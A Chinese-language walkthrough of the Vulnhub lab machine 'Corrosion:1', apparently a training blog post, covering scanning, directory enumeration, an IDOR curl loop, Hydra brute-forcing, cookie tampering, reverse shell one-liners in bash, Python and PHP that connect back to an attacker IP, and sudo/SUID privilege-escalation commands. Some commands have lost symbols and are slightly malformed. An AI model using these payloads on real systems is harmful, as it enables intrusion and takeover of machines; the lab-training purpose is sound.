1. 项目概述从“玩转”到“精通”的靶机实战路径“玩转”一个渗透测试靶机远不止是拿到root权限那么简单。它意味着你能够系统性地复现攻击路径理解每一步背后的原理并最终将零散的技术点串联成一套完整的渗透测试思维。今天要拆解的Vulnhub靶机“Corrosion:1”就是一个绝佳的练习场。它不像某些“直给”型靶机那样漏洞明显而是需要你像真正的渗透测试工程师一样进行信息收集、枚举、漏洞利用、权限提升和痕迹清理的全流程思考。对于刚接触渗透测试的新手或是想从CTF解题思维转向真实渗透测试流程的朋友来说攻克Corrosion:1的过程就是一次从“脚本小子”到“思考者”的蜕变。这个靶机的核心价值在于它模拟了一个相对真实的、存在多处逻辑关联漏洞的Web应用环境。你不会遇到一个简单的SQL注入点直接拿到shell而是需要结合目录枚举、源码审计、密码破解、会话劫持乃至简单的二进制漏洞利用等多种技术。整个过程就像在解一个环环相扣的谜题每一步的发现都为下一步铺路。通过这次实战你不仅能巩固Nmap、Gobuster、Hydra、John the Ripper、Metasploit等经典工具的使用更能深刻理解“攻击链”的概念——如何将看似孤立的信息点一个用户名、一个隐藏目录、一段注释代码组合成一条通往最终目标的路径。接下来我将带你完整走一遍这条路径并重点分享那些官方Writeup里不会写的细节和踩坑经验。2. 靶机环境搭建与初始信息收集2.1 靶机部署与网络配置首先你需要从Vulnhub官网下载Corrosion:1的OVA文件。导入到VMware或VirtualBox后一个关键的步骤是将虚拟机的网络模式设置为“桥接”。很多新手会忽略这一点使用NAT模式导致攻击机Kali Linux无法发现靶机。桥接模式使得靶机和你的Kali处于同一物理网络段就像两台真实的电脑接在同一个路由器下这是后续扫描和攻击的基础。部署完成后先别急着扫描。Vulnhub靶机通常不会显示IP地址我们需要先找出它。在Kali中最快速的方法是使用netdiscover进行主动ARP扫描sudo netdiscover -r 192.168.1.0/24请将192.168.1.0/24替换为你本地网络的真实网段。如果netdiscover没有结果可以尝试更通用的方法先查看Kali自身的IPip a确定网段后使用Nmap进行ping扫描sudo nmap -sn 192.168.1.0/24扫描结果中除了你已知的设备如你的电脑、手机那个陌生的IP地址很可能就是靶机。记下这个IP我们假设它为192.168.1.105。注意在实际渗透测试授权项目中这种主动的ARP或ICMP扫描可能会触发网络入侵检测系统IDS的警报。在合规测试中我们有时会采用更隐蔽的扫描方式或将其安排在允许扫描的时间窗口。但在Vulnhub这样的学习环境我们可以放开手脚。2.2 系统性端口与服务探测拿到IP后下一步是进行全面的端口扫描这是信息收集的基石。不要只满足于一个快速扫描分层次进行能获得更全面的信息。第一层快速扫描发现开放端口sudo nmap -sS -T4 192.168.1.105-sS代表TCP SYN扫描半开扫描速度较快且相对隐蔽。-T4指定扫描速度。这次扫描会快速列出所有开放的TCP端口。假设我们发现开放了22(SSH), 80(HTTP)端口。第二层深度扫描探测服务详情针对发现的开放端口进行版本探测和脚本扫描获取更详细的信息sudo nmap -sV -sC -p 22,80 -oA corrosion_initial 192.168.1.105-sV: 探测服务及版本信息。-sC: 使用默认的Nmap脚本进行漏洞探测它能发现一些常见配置问题。-p: 指定扫描的端口。-oA: 将结果以所有格式普通、XML、Grepable输出到文件便于后续查阅。这个扫描结果会告诉我们80端口运行着什么Web服务器如Apache 2.4.x和可能的技术栈如PHP22端口的SSH服务版本。这些信息是后续选择攻击方向的依据。第三层全端口扫描避免遗漏有时靶机会将服务放在非标准端口。为了万无一失可以进行一次全端口扫描但这比较耗时sudo nmap -p- -T4 192.168.1.105在Corrosion:1中主要入口就是80和22端口因此我们的重点将放在Web应用上。3. Web应用渗透与漏洞利用分析3.1 目录枚举与敏感文件发现面对一个Web应用直接浏览主页往往只是开始。我们需要使用工具暴力枚举隐藏的目录、文件和后台入口。这里推荐使用gobuster它速度快字典丰富。首先准备一个常用的目录字典如/usr/share/wordlists/dirb/common.txt。然后运行gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,js,bakdir: 指定目录枚举模式。-u: 目标URL。-w: 使用的字典文件。-x: 尝试这些扩展名。添加bak是因为开发者有时会留下备份文件如index.php.bak里面可能包含源码或配置信息。在Corrosion靶机中你可能会发现诸如/admin、/login、/backup、/uploads之类的目录。每个发现的目录都需要手动访问检查其内容。一个重要的技巧是同时关注服务器的HTTP响应状态码。200是成功301/302是重定向可能跳转到登录页403是禁止访问但确认了该路径存在404是不存在。对于403的目录可以尝试使用其他方法绕过比如修改HTTP请求头。除了目录还要枚举虚拟主机vhost和子域名虽然在这个本地靶机中可能用不上但在真实内网测试中至关重要gobuster vhost -u http://192.168.1.105 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt3.2 源码审计与逻辑漏洞挖掘在枚举过程中你很可能发现了一个登录页面例如/login.php。直接尝试SQL注入或爆破可能不是最优解。更聪明的做法是查看网页源码。按CtrlU或F12打开开发者工具仔细检查HTML、JavaScript注释。开发者有时会把测试账号、接口信息甚至后端逻辑写在注释里。在Corrosion中关键信息可能就藏在注释或一个不起眼的JS文件里。例如你可能会发现一段被注释掉的JavaScript代码其中包含一个向某个API端点如/api/user/check发送请求的逻辑。这个端点可能未在前端显示但可以直接访问并且可能存在参数污染、IDOR不安全的直接对象引用等漏洞。IDOR漏洞实战假设你通过枚举发现了/api/user/profile?id1返回了用户admin的信息。尝试将id1改为id2如果返回了另一个用户的数据这就是一个典型的IDOR漏洞。你可以编写一个简单脚本遍历id值批量获取用户信息。在Kali中可以用curl配合循环for i in {1..100}; do echo ID $i:; curl -s http://192.168.1.105/api/user/profile?id$i | grep -E username|email; done此外不要忘记检查robots.txt文件。它可能暴露出管理员后台路径Disallow: /admin/或其他敏感目录。3.3 密码破解与会话管理攻击通过源码审计或IDOR漏洞你可能获得了一个用户名列表如admin, john, corros1on。同时在枚举中可能发现了一个登录接口。这时密码爆破就提上日程。使用Hydra进行HTTP表单爆破 首先需要分析登录请求。用Burp Suite拦截一个登录请求观察其请求方法POST、参数名如useradminpass123和失败时的响应特征如返回“Invalid credentials”。hydra -L userlist.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.105 http-post-form /login.php:user^USER^pass^PASS^:FInvalid credentials-L: 用户名列表文件。-P: 密码字典文件rockyou.txt是经典弱口令字典。http-post-form: 指定协议和表单类型。引号内部分分为三块用冒号分隔路径:POST参数:失败条件。实操心得直接爆破Web登录表单可能触发账户锁定机制或频繁的IP封锁。在Corrosion中我们可能更幸运。但如果遇到防护可以尝试1) 降低请求速率-t 1 -w 102) 使用代理池3) 先尝试最常见的几个密码组合如admin/admin, admin/123456。如果爆破成功你将获得一个有效的账户凭证。登录后立即检查Cookie。应用可能使用脆弱的会话管理机制。查看Cookie是否是可预测的如简单的数字递增或者是未签名的、使用弱算法如Base64编码的数据。如果是后者可能构成会话伪造攻击。会话伪造示例假设Cookie是sessioneyJ1c2VyIjoiYWRtaW4ifQ这是一个Base64编码字符串。解码后可能是{user:admin}。你可以尝试修改user值为其他已存在的用户如{user:john}再Base64编码回去替换Cookie可能就能以其他用户身份登录。这被称为“不安全的反序列化”或“Cookie篡改”漏洞。4. 权限提升与后渗透阶段4.1 从Web Shell到稳定立足点通过Web漏洞比如文件上传漏洞获取了Web Shell如一个可以执行命令的PHP文件这只是一个临时据点。我们需要将其转化为一个稳定的、功能完整的反向Shell连接。使用Netcat获取反向Shell 在Kali上监听一个端口nc -lvnp 4444在Web Shell中执行反向连接命令。由于目标环境可能受限需要尝试多种payloadBash:bash -c bash -i /dev/tcp/192.168.1.100/4444 01(将IP改为你的Kali IP)Python:python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);PHP:php -r $sockfsockopen(192.168.1.100,4444);exec(/bin/sh -i 3 3 23);如果成功你会在Netcat终端看到一个低权限的Shell。第一步是升级为交互式TTY Shell这样才能使用su、sudo、文本编辑器等命令python3 -c import pty; pty.spawn(/bin/bash) # 或者 script /dev/null -c bash按CtrlZ将会话挂起到后台然后在Kali终端输入stty raw -echo; fg再按一次回车。最后输入export TERMxterm即可获得一个功能完整的Shell。4.2 系统内部信息枚举拿到Shell后不要急着提权。先进行彻底的系统内部信息收集这就像在陌生房间里寻找有用的工具和地图。用户与组信息:id whoami cat /etc/passwd | grep -v nologin\|false # 查看可登录用户 sudo -l # **最关键的命令**查看当前用户能以root身份运行哪些命令进程与服务:ps aux netstat -tulpn # 或 ss -tulpn systemctl list-units --typeservice文件与权限:find / -type f -perm -4000 -ls 2/dev/null # 查找SUID文件 find / -type f -perm -2000 -ls 2/dev/null # 查找SGID文件 find / -writable -type d 2/dev/null # 查找当前用户可写的目录计划任务:crontab -l ls -la /etc/cron* /var/spool/cron/ cat /etc/crontab网络与配置:ifconfig 或 ip a cat /etc/hosts arp -a敏感文件:ls -la /home/* /root/ 2/dev/null find / -name *.txt -o -name *.log -o -name *.conf -o -name *.bak 2/dev/null | head -20将所有这些信息记录下来。在Corrosion靶机中sudo -l命令的输出可能是突破口。它可能显示当前用户可以以root身份无需密码运行某个特定程序如/usr/bin/find,/usr/bin/vi,/usr/bin/python等。这就是经典的“sudo滥用”提权路径。4.3 利用SUID/Sudo漏洞提权假设sudo -l显示User corros1on may run the following commands on corrosion: (root) NOPASSWD: /usr/bin/find这意味着用户corros1on可以以root身份无密码运行find命令。我们可以利用find的-exec参数执行任意命令。方法一直接获取root shellsudo find / -exec /bin/bash \;执行后你获得的bash进程将以root权限运行。输入id确认现在你已经是root了。方法二如果/bin/bash被限制可以尝试其他方式sudo find / -exec /bin/sh \; # 或者写入一个SUID shell echo /bin/bash /tmp/shell chmod x /tmp/shell sudo find /tmp/shell -exec /tmp/shell \;除了find其他常见的可滥用命令还有vim/vi:sudo vim -c :!/bin/sh或sudo vi -c :!/bin/shpython:sudo python -c import os; os.system(/bin/bash)less/more: 在sudo less或sudo more中打开一个文件然后输入! /bin/bashnmap (旧版本):sudo nmap --interactive然后输入!sh如果没有sudo权限则检查SUID文件。之前find / -perm -4000的命令会列出所有SUID文件。其中一些已知存在漏洞的二进制文件如/usr/bin/pkexec(CVE-2021-4034)/usr/bin/sudo的特定版本等可以直接用于提权。你需要根据系统版本和文件版本搜索对应的公开漏洞利用代码Exploit。在Kali中可以使用searchsploit工具searchsploit linux kernel 5.4 privilege escalation找到合适的Exploit后将其下载或复制到靶机上编译并执行。在Corrosion中很可能就是通过某个配置不当的SUID文件或sudo权限完成的提权。5. 总结与核心避坑指南攻克Corrosion:1的完整路径清晰地展示了一次标准渗透测试的缩影信息收集 - 漏洞挖掘 - 初始访问 - 权限提升 - 目标达成。这个过程里工具的使用是骨架而思维才是灵魂。不要满足于运行命令拿到flag要问自己为什么这一步能成功漏洞的根本原因是什么在真实环境中同样的漏洞会以什么形式出现回顾整个流程有几个关键点值得反复咀嚼1. 信息收集的深度决定攻击面的宽度。最初的Nmap扫描、目录枚举、源码审计每一步都可能发现通往下一个环节的钥匙。漏掉一个robots.txt或一个JS注释可能就让整个渗透过程卡住。养成地毯式搜索的习惯。2. 逻辑漏洞往往比技术漏洞更致命。Corrosion靶机很好地体现了这一点。一个不显眼的API端点一个可预测的会话ID一个IDOR参数这些逻辑问题通常不会被自动化扫描器发现却能为攻击者打开一扇大门。在测试Web应用时务必把自己放在用户和管理员的角度去思考每一个功能流程。3. 提权是内网渗透的必经之路。拿到一个www-data或普通用户shell只是开始。系统的sudo -l、SUID文件、计划任务、环境变量、内核版本都是需要仔细检查的提权点。建立一个自己的检查清单每次拿到shell都按顺序过一遍能极大提高提权成功率。4. 自动化与手动的平衡。工具能提高效率但不能替代思考。Gobuster可以枚举目录但发现/admin后需要手动去测试登录逻辑和会话管理。Hydra可以爆破密码但先尝试常见的弱口令组合或通过信息泄露获取的密码往往更快。永远让工具为你服务而不是你被工具牵着走。最后关于学习路径的建议在熟练了Corrosion这类中等难度的靶机后可以挑战Vulnhub上更复杂的系列如“HackTheBox”退役机器虽然HTB是另一个平台但其思路相通或者专注于某一类漏洞的靶机如只包含缓冲区溢出的“Brainpan”。同时一定要配合阅读OWASP Top 10、PTES渗透测试执行标准等标准文档将实战经验与理论框架结合才能形成真正系统化的渗透测试能力。记住靶机是训练场真正的价值在于将这里形成的思维模式和技能应用于合规、授权的安全测试中去发现和修复真实世界的漏洞。